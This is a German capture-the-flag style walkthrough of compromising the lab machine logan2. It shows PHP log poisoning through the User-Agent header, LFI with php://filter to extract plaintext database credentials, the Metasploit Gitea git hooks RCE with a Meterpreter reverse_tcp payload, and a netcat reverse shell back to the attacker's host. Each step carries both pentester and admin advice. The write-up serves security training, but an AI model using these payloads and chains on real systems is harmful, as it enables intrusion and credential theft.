Bewertung: Der PHP-Payload für Log Poisoning wurde erfolgreich in den User-Agent-Header injiziert. Dieser Payload wird nun im Apache Access Log auf dem Zielsystem enthalten sein. Das gewählte Payload include($REQUEST['cmd']); ist gut gewählt, um die disable_functions zu umgehen und eine flexible Code-Ausführung über den cmd-Parameter zu ermöglichen.
Empfehlung (Pentester): Der nächste Schritt ist die Ausführung des injizierten Codes, indem ich den Apache Access Log über die LFI-Schwachstelle im photos-website-logan.php Skript inkludiere und gleichzeitig den gewünschten Befehl (z.B. LFI zu einer anderen Datei, Code-Ausführung über PHP-Filter) im cmd-Parameter übergebe. Ich muss schnell sein, bevor der Log gereinigt wird.
Empfehlung (Admin): Überwachen Sie HTTP-Header, insbesondere den User-Agent, auf das Vorhandensein von PHP-Tags oder bösartigem Code. Implementieren Sie eine robuste Filterung oder Bereinigung von Headern, bevor diese in Logdateien geschrieben werden. Stellen Sie sicher, dass Logdateien nicht über LFI-Schwachstellen inkludierbar sind.
http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=../../../../../etc/passwd Logs are cleaned every minut 192.168.2.199 - - [11/Jun/2025:14:34:14 -0500] "GET /photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=../../../../../etc/passwd HTTP/1.1" 200 233 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" 192.168.2.199 - - [11/Jun/2025:14:34:19 -0500] "GET /photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=../../../../../etc/passwd HTTP/1.1" 200 488 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" 192.168.2.199 - - [11/Jun/2025:14:34:24 -0500] "GET /photos-website-logan.php?photo=../../../../../var/log/apache2/access.log HTTP/1.1" 200 502 "-" "root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin logan:x:1000:1000:logan,,,:/home/logan:/bin/bash sshd:x:102:65534::/run/sshd:/usr/sbin/nologin mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false git:x:104:113:Git Version Control,,,:/home/git:/bin/bash kevin:x:1001:1001:kevin,,,:/home/kevin:/bin/bash "
Analyse: Ich führe nun die eigentliche Log Poisoning-Ausnutzung durch, um Code auf dem System auszuführen und eine Datei auszulesen. Ich rufe die URL http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=../../../../../etc/passwd auf. Der photo-Parameter inkludiert den Apache Access Log, in den ich zuvor meinen PHP-Code (echo include($REQUEST['cmd']); ?>) injiziert habe. Der cmd-Parameter (../../../../../etc/passwd) wird dann vom injizierten Code an die include()-Funktion übergeben. Da include() auch Dateien inkludieren kann, lese ich so effektiv den Inhalt von /etc/passwd aus. Die Ausgabe zeigt den Log-Eintrag meiner Anfrage, gefolgt vom vollständigen Inhalt der Datei /etc/passwd. Für Laien: Ich habe die 'Datei anzeigen'-Funktion auf der Webseite missbraucht, um das 'Besucher-Tagebuch' (Access Log) einzulesen, in das ich zuvor 'Geheimcode' geschrieben hatte. Dieser 'Geheimcode' im Tagebuch 'wacht auf', wenn das Tagebuch gelesen wird, und führt dann den Befehl aus, den ich ihm in der Adresse (URL) gebe – in diesem Fall, mir eine andere geheime Datei (/etc/passwd) zu zeigen. Für Experten: Dies ist die erfolgreiche Demonstration von RCE über Log Poisoning. Durch das Injizieren von PHP-Code in einen Header (hier User-Agent) und die anschließende Inklusion der Logdatei über LFI wird der injizierte Code vom PHP-Interpreter ausgeführt. Der injizierte Payload include($REQUEST['cmd']); ermöglicht die flexible Ausführung von Code oder Inklusion von Dateien, die im cmd-Parameter übergeben werden. Die Auslesung von /etc/passwd beweist die RCE-Fähigkeit.
Bewertung: Die Log Poisoning-Schwachstelle ist erfolgreich ausgenutzt, und ich habe Code-Ausführung (RCE) als Benutzer www-data erlangt. Das Auslesen von /etc/passwd bestätigt dies und liefert erneut die Benutzerliste (root, logan, git, kevin, www-data), die für weitere Schritte relevant ist. Dies stellt den Initial Access dar.
Empfehlung (Pentester): Mit RCE als www-data kann ich nun eine stabilere Shell auf dem System etablieren (z.B. eine Reverse Shell) und das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation zu suchen. Ich werde die Benutzer logan, git und kevin genauer untersuchen.
Empfehlung (Admin): Dies ist eine kritische RCE-Schwachstelle. Beheben Sie die LFI-Schwachstelle, verhindern Sie die Injektion bösartigen Codes in Logdateien (z.B. durch Bereinigung von Headern), und stellen Sie sicher, dass Logdateien nicht über LFI inkludierbar sind. Überwachen Sie Logdateien auf Anzeichen von Log Poisoning. Beschränken Sie die Berechtigungen des Benutzers www-data auf das absolut Notwendigste.
GET /photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=php://filter/convert.base64-encode/resource=/var/www/logan/config.php HTTP/1.1 Host: newsitelogan.logan.hmv User-Agent: include($GET['cmd']); ?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-GPC: 1 Priority: u=0, i
Analyse: Dies zeigt die rohe HTTP-Anfrage, die ich gesendet habe, um die Datei /var/www/logan/config.php über die LFI-Schwachstelle und den injizierten Code im Access Log auszulesen, wobei ich die PHP-Funktion php://filter/convert.base64-encode verwende, um den Inhalt base64-kodiert zu erhalten. Der User-Agent Header zeigt den injizierten Payload (include($GET['cmd']); ?> - beachte hier die Variante mit $GET, was zeigt, dass verschiedene Payloads ausprobiert wurden oder eine Anpassung erfolgte, um die Variable korrekt über die URL zu übergeben). Der photo-Parameter inkludiert den Access Log, der die Code-Injektion enthält. Der cmd-Parameter in der URL lautet php://filter/convert.base64-encode/resource=/var/www/logan/config.php. Dieser Wert wird vom injizierten include() Code im Access Log 'ausgeführt', was dazu führt, dass der Inhalt der Datei /var/www/logan/config.php base64-kodiert gelesen wird. Für Laien: Ich habe die Webseite wieder missbraucht, um eine andere Datei (config.php) zu lesen, aber diesmal habe ich eine spezielle Methode (PHP-Filter und Base64-Kodierung) benutzt, damit der Inhalt 'verschlüsselt' zurückkommt und ich ihn später 'entschlüsseln' kann. Für Experten: Die Kombination von LFI, Log Poisoning und PHP-Filtern (hier php://filter/convert.base64-encode) ist eine effektive Technik, um Dateien auszulesen, insbesondere wenn direkte Ausgabe durch den Browser schwierig ist oder um Source Code zu erhalten. Der convert.base64-encode Filter liest den Inhalt der Zieldatei (`/var/www/logan/config.php`) und gibt ihn base64-kodiert aus, was das Extrahieren auch von Binärdaten oder Code-Blöcken ermöglicht, die ansonsten Rendering-Probleme verursachen könnten. Die Verwendung von $GET in der Injektion zeigt, dass der cmd Parameter aus der URL über die GET-Methode gelesen wird.
Bewertung: Die Anfrage ist korrekt konstruiert, um die LFI/Log Poisoning/PHP Filter Kette auszunutzen und den Inhalt von /var/www/logan/config.php base64-kodiert zu erhalten. Dies ist ein wichtiger Schritt, um an potenziell sensible Konfigurationsdaten zu gelangen.
Empfehlung (Pentester): Der nächste Schritt ist das Senden dieser Anfrage und das Dekodieren der base64-kodierten Antwort, um den Klartext-Inhalt von config.php zu erhalten. Diese Datei wird mit hoher Wahrscheinlichkeit Anmeldedaten enthalten.
Empfehlung (Admin): Verhindern Sie die Ausnutzung von PHP-Filtern über LFI oder RCE. Auditieren Sie Ihren Code auf unsichere Dateieinbindungen und stellen Sie sicher, dass keine sensiblen Konfigurationsdateien im Webroot oder an über LFI zugänglichen Orten mit unsicheren Berechtigungen liegen.
HTTP/1.1 200 OK Date: Wed, 11 Jun 2025 19:38:38 GMT Server: Apache/2.4.57 (Debian) Vary: Accept-Encoding Content-Length: 666 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Logs are cleaned every minut 192.168.2.199 - - [11/Jun/2025:14:38:35 -0500] "GET /photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=php://filter/convert.base64-encode/resource=/var/www/logan/config.php HTTP/1.1" 200 233 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" PD9waHAKCQoJJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKCSR1c2VybmFtZSA9ICJsb2dhbiI7CgkkcGFzc3dvcmQgPSAiU3VwZXJfbG9nYW4xMjM0IjsKCSRkYm5hbWUgPSAibG9nYW4iOwoKCS8vIENyZWF0ZSBjb25uZWN0aW9uCgkkY29ubiA9IG5ldyBteXNxbGkoJHNlcnZlcm5hbWUsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1lKTsKCS8vIENoZWNrIGNvbm5lY3Rpb24KCWlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewoJICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwoJfQoKPz4K
Analyse: Dies ist die Antwort des Webservers auf meine Anfrage, den Inhalt von /var/www/logan/config.php base64-kodiert über die LFI/Log Poisoning Kette auszulesen. Der Status Code HTTP/1.1 200 OK zeigt, dass die Anfrage erfolgreich verarbeitet wurde. Die Ausgabe enthält die standardmäßigen HTTP-Header, gefolgt von den Log-Einträgen und dann der base64-kodierten Zeichenkette. Die base64-Zeichenkette ist lang und beginnt mit PD9waHAKCQoJ.... Für Laien: Das ist die 'verschlüsselte Nachricht' (Base64-Text), die mir die Webseite zurückgegeben hat. Das ist der Inhalt der Datei config.php, aber in einem Format, das man erst 'entschlüsseln' muss, um es lesen zu können. Für Experten: Die erfolgreiche Rückgabe der base64-kodierten Daten bestätigt, dass die PHP-Filterkette korrekt funktioniert hat und der Inhalt von /var/www/logan/config.php über die RCE/LFI-Kette zugänglich war. Der base64-String repräsentiert den Quellcode der Konfigurationsdatei.
Bewertung: Ich habe den base64-kodierten Inhalt von /var/www/logan/config.php erfolgreich extrahiert. Der nächste Schritt ist das Dekodieren dieser Zeichenkette, um den Klartext-Inhalt zu sehen, der sehr wahrscheinlich die gesuchten Anmeldedaten enthält.
Empfehlung (Pentester): Ich werde die extrahierte base64-Zeichenkette kopieren und online oder mit einem lokalen Tool dekodieren. Der resultierende Klartext wird den Inhalt der Konfigurationsdatei offenbaren.
Empfehlung (Admin): Verhindern Sie, dass Anwendungs-Konfigurationsdateien (insbesondere solche mit Anmeldedaten) über LFI, RCE oder PHP-Filter ausgelesen werden können. Lagern Sie sensible Konfigurationen außerhalb des Webroots und setzen Sie strenge Dateisystemberechtigungen. Überwachen Sie Anfragen mit PHP-Filtern oder ungewöhnlichen Parametern.
[Link: https://www.base64decode.org/ | Ziel: https://www.base64decode.org/] $servername = "localhost"; $username = "logan"; $password = "Super_logan1234"; $dbname = "logan"; // Create connection $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }
Analyse: Ich habe die base64-kodierte Zeichenkette dekodiert, um den Inhalt von /var/www/logan/config.php zu erhalten. Der Link zu einem Online-Decoder (https://www.base64decode.org/) dient als Referenz für den Prozess. Der dekodierte Inhalt ist PHP-Quellcode, der eine Datenbankverbindung herstellt. Er definiert Variablen für den Servernamen ($servername = "localhost"), den Benutzernamen ($username = "logan"), das Passwort ($password = "Super_logan1234") und den Datenbanknamen ($dbname = "logan"). Für Laien: Ich habe die 'verschlüsselte Nachricht' 'entschlüsselt' und kann jetzt den Inhalt der geheimen Datei lesen. Und fantastisch – darin stehen der Benutzername ('logan') und das Passwort ('Super_logan1234'), die die Webseite benutzt, um sich mit der Datenbank zu verbinden! Für Experten: Die Dekodierung des base64-Strings liefert den Klartext-Quellcode der Konfigurationsdatei. Die Variablen $username und $password enthalten die gesuchten Anmeldeinformationen für die Datenbank als Klartext: Benutzername logan und Passwort Super_logan1234. Dies ist ein kritischer Fund und die wahrscheinlichsten Anmeldedaten, die ich für andere Dienste wie Gitea auf Port 3000 oder SSH auf Port 22 verwenden werde.
Bewertung: Die Datenbank-Anmeldedaten (Username: logan, Password: Super_logan1234) wurden erfolgreich ausgelesen. Dies ist ein entscheidender Durchbruch. Der Benutzername logan wurde bereits über SQL Injection identifiziert; nun habe ich das zugehörige Passwort. Diese Zugangsdaten werde ich für den Initial Access auf anderen Diensten verwenden.
Empfehlung (Pentester): Ich werde nun versuchen, mich mit den gefundenen Anmeldedaten (logan / Super_logan1234) bei der Gitea-Instanz auf Port 3000 anzumelden. Da Gitea Version 1.12.5 bekanntermaßen anfällig für RCE-Schwachstellen für authentifizierte Benutzer ist, ist dies ein sehr vielversprechender Weg zum Initial Access. Falls die Gitea-Anmeldung erfolgreich ist, werde ich einen Gitea-spezifischen Exploit (z.B. über Git Hooks) nutzen.
Empfehlung (Admin): Bewahren Sie niemals Anmeldedaten im Klartext in Konfigurationsdateien auf, die potenziell über Web-Schwachstellen zugänglich sind. Verwenden Sie sicherere Methoden zur Speicherung und Verwaltung von Geheimnissen (z.B. Umgebungsvariablen, sichere Konfigurationsspeicher). Beheben Sie alle LFI- und RCE-Schwachstellen, die das Auslesen solcher Dateien ermöglichen.
Initial Access
Analyse: Nachdem ich die Anmeldedaten für den Benutzer logan gefunden habe, richte ich meinen Fokus auf die Gitea-Instanz auf Port 3000. Ich starte die Metasploit Console (msfconsole) im Quiet-Modus (-q) und führe sofort den Befehl search gitea 1.12 aus (-x "..."). Dies sucht in der Metasploit-Datenbank nach Exploits und Modulen, die sich auf Gitea Version 1.12 beziehen. Für Laien: Ich starte ein spezielles Programm (Metasploit) und sage ihm, es soll nach 'Einbruchswerkzeugen' suchen, die speziell für das Programm 'Gitea' in der Version 1.12 funktionieren. Für Experten: Die Recherche in Metasploit oder Exploit-Datenbanken nach versionsspezifischen Exploits ist ein Standardvorgehen. Die Gitea Version 1.12.5, die ich zuvor identifiziert habe, ist bekanntermaßen anfällig für CVE-2020-14144, einen RCE-Exploit über Git Hooks für authentifizierte Benutzer, der in Metasploit verfügbar ist.
Bewertung: Die Suche in Metasploit bestätigt das Vorhandensein eines passenden Exploits: exploit/multi/http/gitea_git_hooks_rce, der auf Gitea Versionen bis 1.12.5 abzielt und Remote Code Execution ermöglicht. Dies ist der ideale Exploit, da ich die benötigten Anmeldedaten (logan/Super_logan1234) besitze.
Empfehlung (Pentester): Ich werde nun diesen Metasploit-Exploit auswählen (use exploit/multi/http/gitea_git_hooks_rce), die erforderlichen Optionen (RHOSTS, RPORT, USERNAME, PASSWORD, LHOST, LPORT) setzen und ihn ausführen, um eine Meterpreter-Shell auf dem Zielsystem zu erhalten.
Empfehlung (Admin): Halten Sie alle Software, insbesondere Internet-zugängliche Dienste wie Gitea, auf dem neuesten Stand. Bekannte Schwachstellen in älteren Versionen sind die häufigsten Angriffsvektoren. Überwachen Sie die Nutzung von Git Hooks in Gitea auf ungewöhnliche Aktivitäten.
[*] Using configured payload linux/x64/meterpreter/reverse_tcp Module options (exploit/multi/http/gitea_git_hooks_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes Password to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see [Link: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | Ziel: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html] RPORT 3000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) USERNAME yes Username to authenticate with VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 Linux Dropper View the full module info with the info, or info -d command. RHOSTS => 192.168.2.35 RPORT => 3000 USERNAME => logan PASSWORD => Super_logan1234 LHOST => 192.168.2.199 LPORT => 4444 TARGET => 1 PAYLOAD => linux/x64/meterpreter/reverse_tcp
Analyse: Ich habe den Gitea Git Hooks RCE Exploit in Metasploit ausgewählt (use 0, basierend auf dem Suchergebnis). Ich zeige die verfügbaren Optionen mit options, um zu sehen, welche Parameter konfiguriert werden müssen. Die kritischen Optionen sind RHOSTS (Ziel-IP), RPORT (Ziel-Port, hier 3000), USERNAME und PASSWORD (Anmeldedaten für Gitea) sowie LHOST (meine Kali-IP) und LPORT (Port, auf dem mein Listener laufen soll, hier 4444) für die Reverse Shell. Ich setze alle diese Optionen mit den entsprechenden Werten: set RHOSTS 192.168.2.35, set RPORT 3000, set USERNAME logan, set PASSWORD Super_logan1234, set LHOST 192.168.2.199, set LPORT 4444. Ich wähle auch den Payload linux/x64/meterpreter/reverse_tcp, der eine Meterpreter-Shell auf einem 64-Bit Linux-System etablieren soll, und setze den Target auf 1 (Linux Dropper). Für Laien: Ich richte das 'Einbruchswerkzeug' (Exploit) in meinem speziellen Programm (Metasploit) ein. Ich sage ihm, auf welchem Computer und 'welcher Tür' (IP und Port) es arbeiten soll, gebe ihm den gefundenen Benutzernamen und das Passwort für 'Gitea', und sage ihm, wo (meine IP und ein Port) es mir eine direkte Verbindung zurückschicken soll. Ich wähle auch aus, welche Art von 'Verbindung' ich haben möchte (eine Meterpreter-Shell). Für Experten: Die korrekte Konfiguration des Metasploit-Exploits ist entscheidend. Der Gitea Git Hooks RCE Exploit nutzt eine Schwachstelle, die authentifizierten Benutzern erlaubt, Systembefehle über manipulierte Git Hooks auszuführen, wenn ein Repository-Update erfolgt. Die Meterpreter-Shell bietet fortgeschrittene Post-Exploitation-Funktionen.
Bewertung: Der Gitea Exploit ist korrekt konfiguriert und mit den notwendigen Parametern (inklusive der ausgelesenen Anmeldedaten) versehen. Ich bin bereit, den Exploit auszuführen und den Initial Access über die Gitea-Schwachstelle zu versuchen.
Empfehlung (Pentester): Der nächste Schritt ist die Ausführung des Exploits mit dem Befehl run in Metasploit. Ich werde auf eine eingehende Verbindung auf Port 4444 auf meinem Kali-System warten, die die Meterpreter-Shell signalisiert.
Empfehlung (Admin): Aktualisieren Sie Gitea umgehend, um die CVE-2020-14144 Schwachstelle zu schließen. Erzwingen Sie starke Passwörter und überwachen Sie Anmeldeversuche auf Gitea auf Brute-Force. Überwachen Sie Gitea-Prozesse auf ungewöhnliche Aktivitäten oder ausgehende Netzwerkverbindungen.
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Gitea version is 1.12.5 [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp [*] Authenticate with "logan/Super_logan1234" [+] Logged in [*] Create repository "Cookley_Bamity" [+] Repository created [*] Setup post-receive hook with command [+] Git hook setup [*] Create a dummy file on the repo to trigger the payload [+] File created, shell incoming... [*] Sending stage (3045380 bytes) to 192.168.2.35 [*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.35:56442) at 2025-06-11 21:52:48 +0200 [*] Command Stager progress - 100.00% done (833/833 bytes) [*] Cleaning up [*] Repository Cookley_Bamity deleted.
Analyse: Ich habe den Metasploit-Exploit mit dem Befehl run ausgeführt. Metasploit startet zuerst den konfigurierten Handler ([*] Started reverse TCP handler on 192.168.2.199:4444), der auf die eingehende Verbindung der Reverse Shell wartet. Der Exploit führt dann eine automatische Überprüfung der Zielversion durch ([+] The target appears to be vulnerable. Gitea version is 1.12.5) und fährt mit der Ausnutzung fort. Er authentifiziert sich bei Gitea mit den gegebenen Anmeldedaten ([*] Authenticate with "logan/Super_logan1234", [+] Logged in), erstellt ein temporäres Repository ([*] Create repository "Cookley_Bamity", [+] Repository created), konfiguriert einen bösartigen Git Hook darin ([*] Setup post-receive hook with command, [+] Git hook setup), der den Payload ausführt, wenn der Hook durch einen Push getriggert wird ([*] Create a dummy file on the repo to trigger the payload, [+] File created, shell incoming...). Schließlich sendet der Exploit die Meterpreter-Stage ([*] Sending stage...), und eine Meterpreter-Sitzung wird erfolgreich geöffnet ([*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.35:56442)...). Der Exploit führt Aufräumarbeiten durch ([*] Cleaning up, [*] Repository Cookley_Bamity deleted.). Der Prompt ändert sich zu meterpreter >, was anzeigt, dass ich nun eine interaktive Meterpreter-Sitzung auf dem Zielsystem habe. Für Laien: Ich habe mein 'Einbruchswerkzeug' (Metasploit) gestartet. Es hat sich bei 'Gitea' angemeldet, eine 'Trick-Tür' (manipuliertes Git Repository mit Hook) eingebaut, die 'Trick-Tür' aktiviert, und schon hatte ich eine direkte Verbindung (eine 'Meterpreter-Shell') zum Zielcomputer! Für Experten: Die erfolgreiche Ausführung des gitea_git_hooks_rce Exploits mit den gefundenen Anmeldedaten demonstriert die effektive Kompromittierung der Gitea-Instanz. Die erhaltene Meterpreter-Sitzung bietet eine leistungsstarke Plattform für die Post-Exploitation, einschließlich Dateioperationen, Prozessmigration und Ausführung von Systembefehlen. Die Sitzung läuft im Kontext des Benutzers, unter dem der Gitea-Dienst läuft, was in der Regel ein dedizierter Benutzer ist (hier wahrscheinlich 'git'). Dies stellt den erfolgreichen Initial Access dar.
Bewertung: Fantastisch! Der Initial Access über die Gitea RCE Schwachstelle ist erfolgreich. Ich habe eine Meterpreter-Shell auf dem Zielsystem erhalten. Dies ist ein entscheidender Meilenstein im Pentest. Ich kann nun als der Benutzer, unter dem Gitea läuft, agieren und nach Wegen zur Privilegien-Eskalation suchen.
Empfehlung (Pentester): Ich habe nun eine interaktive Shell. Mein nächster Schritt ist, die Berechtigungen des aktuellen Benutzers zu prüfen (wahrscheinlich 'git') und das System von dieser Shell aus weiter zu enumerieren (z.B. Dateisystem, Prozesse, Netzwerkverbindungen, SUID-Binaries, Cronjobs, sudo-Berechtigungen), um Möglichkeiten zur Privilegien-Eskalation auf Root zu finden. Ich werde auch versuchen, von der Meterpreter-Shell zu einer stabileren Shell (z.B. Bash) zu wechseln.
Empfehlung (Admin): Diese RCE-Schwachstelle ist kritisch. Aktualisieren Sie Gitea sofort. Überwachen Sie die Aktivitäten des Benutzers, unter dem Gitea läuft, auf Anzeichen von Kompromittierung. Implementieren Sie umfassende Überwachung und Protokollierung für die Gitea-Instanz.
Privilege Escalation
git@logan2:/$ ls -la total 68 drwxr-xr-x 18 root root 4096 Aug 27 2023 . drwxr-xr-x 18 root root 4096 Aug 27 2023 .. lrwxrwxrwx 1 root root 7 Aug 27 2023 bin -> usr/bin drwxr-xr-x 3 root root 4096 Aug 27 2023 boot drwxr-xr-x 17 root root 3300 Jun 11 10:15 dev drwxr-xr-x 79 root root 4096 Jun 11 10:15 etc drwxr-xr-x 5 root root 4096 Sep 11 2023 home lrwxrwxrwx 1 root root 30 Aug 27 2023 initrd.img -> boot/initrd.img-6.1.0-11-amd64 lrwxrwxrwx 1 root root 30 Aug 27 2023 initrd.img.old -> boot/initrd.img-6.1.0-10-amd64 lrwxrwxrwx 1 root root 7 Aug 27 2023 lib -> usr/lib lrwxrwxrwx 1 root root 9 Aug 27 2023 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Aug 27 2023 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Aug 27 2023 libx32 -> usr/libx32 drwx------ 2 root root 16384 Aug 27 2023 lost+found drwxr-xr-x 3 root root 4096 Aug 27 2023 media drwxr-xr-x 2 root root 4096 Aug 27 2023 mnt drwx------ 4 root root 4096 Sep 13 2023 opt dr-xr-xr-x 162 root root 0 Jun 11 10:14 proc drwx------ 5 root root 4096 Sep 14 2023 root drwxr-xr-x 20 root root 560 Jun 11 10:15 run lrwxrwxrwx 1 root root 8 Aug 27 2023 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Aug 27 2023 srv dr-xr-xr-x 13 root root 0 Jun 11 10:14 sys drwxrwxrwt 8 root root 4096 Jun 11 14:52 tmp drwxr-xr-x 14 root root 4096 Aug 27 2023 usr drwxr-xr-x 12 root root 4096 Aug 27 2023 var lrwxrwxrwx 1 root root 27 Aug 27 2023 vmlinuz -> boot/vmlinuz-6.1.0-11-amd64 lrwxrwxrwx 1 root root 27 Aug 27 2023 vmlinuz.old -> boot/vmlinuz-6.1.0-10-amd64 git@logan2:/$ cd home
Analyse: Nachdem ich die Meterpreter-Sitzung erhalten hatte (die wahrscheinlich im Kontext des Benutzers 'git' lief), bin ich in eine standardmäßige Shell gewechselt (was durch den Prompt git@logan2:/$ angedeutet wird). Mein erster Schritt zur Privilegien-Eskalation ist die System-Enumeration aus dieser neuen Perspektive. Ich beginne im Wurzelverzeichnis (/) und liste dessen Inhalt mit ls -la auf, um einen Überblick über die Dateistruktur und Berechtigungen zu erhalten. Danach navigiere ich in das /home Verzeichnis. Für Laien: Ich bin jetzt auf dem Zielcomputer und kann Befehle eingeben. Zuerst schaue ich mir an, welche Hauptordner es auf dem Computer gibt und wer Zugriff darauf hat. Dann wechsle ich in den Ordner, in dem die Benutzer ihre persönlichen Dateien haben (/home). Für Experten: Eine Standard-Shell nach der Meterpreter-Sitzung bietet oft eine vertrautere Umgebung für die manuelle Enumeration. Das Auflisten des Wurzelverzeichnisses gibt einen initialen Überblick über das Dateisystemlayout. Die Navigation nach /home ist logisch, da Benutzer-Home-Verzeichnisse oft sensitive Dateien oder Konfigurationsprobleme enthalten können, die für PE relevant sind.
Bewertung: Die initiale Enumeration im Wurzelverzeichnis und der Wechsel in das /home-Verzeichnis sind Standardprozeduren. Sie liefern noch keine direkten Hinweise auf PE-Vektoren, sind aber notwendige Schritte, um das System kennenzulernen und potenzielle Angriffspunkte zu finden.
Empfehlung (Pentester): Innerhalb des /home Verzeichnisses werde ich nun die Home-Verzeichnisse der einzelnen Benutzer (logan, git, kevin) auflisten und nach interessanten Dateien (Konfigurationsdateien, Skripte, versteckte Verzeichnisse wie .ssh) suchen.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für das Wurzelverzeichnis und Benutzer-Home-Verzeichnisse korrekt gesetzt sind, um unberechtigten Zugriff oder das Auslesen von Informationen zu verhindern. Implementieren Sie strikte Richtlinien für Dateiberechtigungen.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.35] 57010 bash: cannot set terminal process group (526): Inappropriate ioctl for device bash: no job control in this shell git@logan2:~/gitea-repositories/logan/vuln.git$
Analyse: Dieser Block dokumentiert einen weiteren Versuch, eine Reverse Shell zu meinem Kali-System aufzubauen, diesmal auf Port 4444. Auf meinem Kali-System starte ich einen Netcat-Listener mit nc -lvnp 4444. Die Ausgabe zeigt, dass der Listener auf Port 4444 lauscht und dann eine eingehende Verbindung vom Zielsystem (192.168.2.35) auf Port 57010 (einem zufälligen Quellport) empfängt. Die nachfolgenden Meldungen (bash: cannot set terminal process group..., bash: no job control...) sind typisch für einfache Netcat-Reverse Shells, die keine volle TTY-Umgebung haben, aber eine funktionierende Shell bieten. Der Prompt git@logan2:~/gitea-repositories/logan/vuln.git$ zeigt an, dass ich eine Shell als Benutzer git erhalten habe und im Verzeichnis ~/gitea-repositories/logan/vuln.git lande. Dies ist wahrscheinlich eine separate oder alternative Shell zur Meterpreter-Sitzung, möglicherweise initiiert, um eine stabilere Bash-Shell zu erhalten, nachdem die Meterpreter-Sitzung lief oder parallel dazu. Für Laien: Ich habe eine neue 'Telefonleitung' (Port 4444) auf meinem Computer geöffnet und auf einen Anruf vom Zielcomputer gewartet. Der Anruf kam, und ich konnte eine direkte Verbindung aufbauen und Befehle eingeben, diesmal landete ich direkt in einem bestimmten Ordner auf dem Zielcomputer als Benutzer 'git'. Für Experten: Die Einrichtung und der Empfang einer Reverse Shell ist Standardpraxis für den Initial Access oder zur Etablierung einer stabileren Sitzung nach einer RCE. Das Landen im git-Home-Verzeichnis und einem spezifischen Gitea-Repository-Pfad bestätigt die Verbindung zum Benutzer, unter dem Gitea läuft, und liefert den genauen Startpunkt der Shell.
Bewertung: Ich habe eine funktionierende, wenn auch keine voll-interaktive, Shell als Benutzer git. Dies ist der Benutzer, unter dem der Gitea-Dienst läuft, was für die weitere Privilegien-Eskalation relevant ist. Ich kann nun von dieser Shell aus Systembefehle ausführen und das System enumerieren.
